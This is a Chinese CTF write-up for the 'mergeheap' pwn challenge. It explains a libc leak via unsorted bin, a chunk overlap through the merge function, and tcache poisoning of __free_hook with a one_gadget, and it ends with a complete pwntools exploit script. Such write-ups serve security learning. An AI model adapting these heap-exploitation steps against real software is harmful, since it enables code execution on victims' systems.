mergeheap

保护全开，libc-2.27,malloc大小限制了0x400，有个合并堆的函数，可以合并大于0x400的，不过释放的时候总是和top_chunk合并。所以得用另一种方法泄露libc.

add(0x210,'aaaa')
add(0x210,'cccc')
add(0x10,'dddd')
merge(0,1)
free(3)
free(2)

这种方法好像不行

for i in range(8):
	add(0x80,'cccc')

for i in range(1,8): 
	free(i)
free(0)

add(0x8,'cccccccc')
show(0)
p.recvuntil('cccccccc')
main_addr=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))

add(0x60,'aaaa\n') #1
add(0x30,'a'*0x30) #2
add(0x38,'a'*0x38) #3
add(0x100,'a')	   #4
add(0x68,'a')      #5
add(0x20,'a')	   #6
add(0x20,'c')      #7
add(0x20,'f')      #8
add(0x20,'d')      #9

free(5)
free(7)
free(8)

merge(2,3)

下一个堆的size位因为堆2，堆3的合并被改了，具体不太懂

free(6)

exp

from pwn import*
from LibcSearcher import *
#p=remote("node5.buuoj.cn",25860)
p=process("./mergeheap")
context.log_level="debug"
context(log_level='debug',os='linux',arch='amd64')
libc=ELF('./libc-2.27.so')

def add(size,content):
	p.sendlineafter('>>','1')
	p.sendlineafter('len:',str(size))
	p.sendlineafter('content:',content)
def show(index):
    p.sendlineafter('>>','2')
    p.sendlineafter('idx:',str(index))
   
def free(index):
	p.sendlineafter('>>','3')
	p.sendlineafter('idx:',str(index))
def merge(index1,index2):
	p.sendlineafter('>>','4')
	p.sendlineafter('idx1:',str(index1))
	p.sendlineafter('idx2:',str(index2))
	
for i in range(8):
	add(0x80,'cccc')

for i in range(1,8): 
	free(i)
free(0)

add(0x8,'cccccccc')
show(0)
p.recvuntil('cccccccc')
main_addr=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
print(hex(main_addr-0x80))
main_arena=main_addr-96-0x80
malloc=main_arena-0x10
base=malloc-libc.sym['__malloc_hook']

free_hook=base+libc.sym['__free_hook']
one=[0x4f2c5,0x4f322,0x10a38c]
one_gadget=base+one[1]

add(0x60,'aaaa\n') #1
add(0x30,'a'*0x30) #2
add(0x38,'a'*0x38) #3
add(0x100,'a')	   #4
add(0x68,'a')      #5
add(0x20,'a')	   #6
add(0x20,'c')      #7
add(0x20,'f')      #8
add(0x20,'d')      #9

free(5)
free(7)
free(8)
merge(2,3)
free(6)

payload=b'a'*0x28+p64(0x31)+p64(free_hook)+p64(0)
add(0x100,payload)
add(0x20,'aaaa')
add(0x20,'cccc')
add(0x20,p64(one_gadget))
free(9)
#gdb.attach(p)
sleep(1)

p.interactive()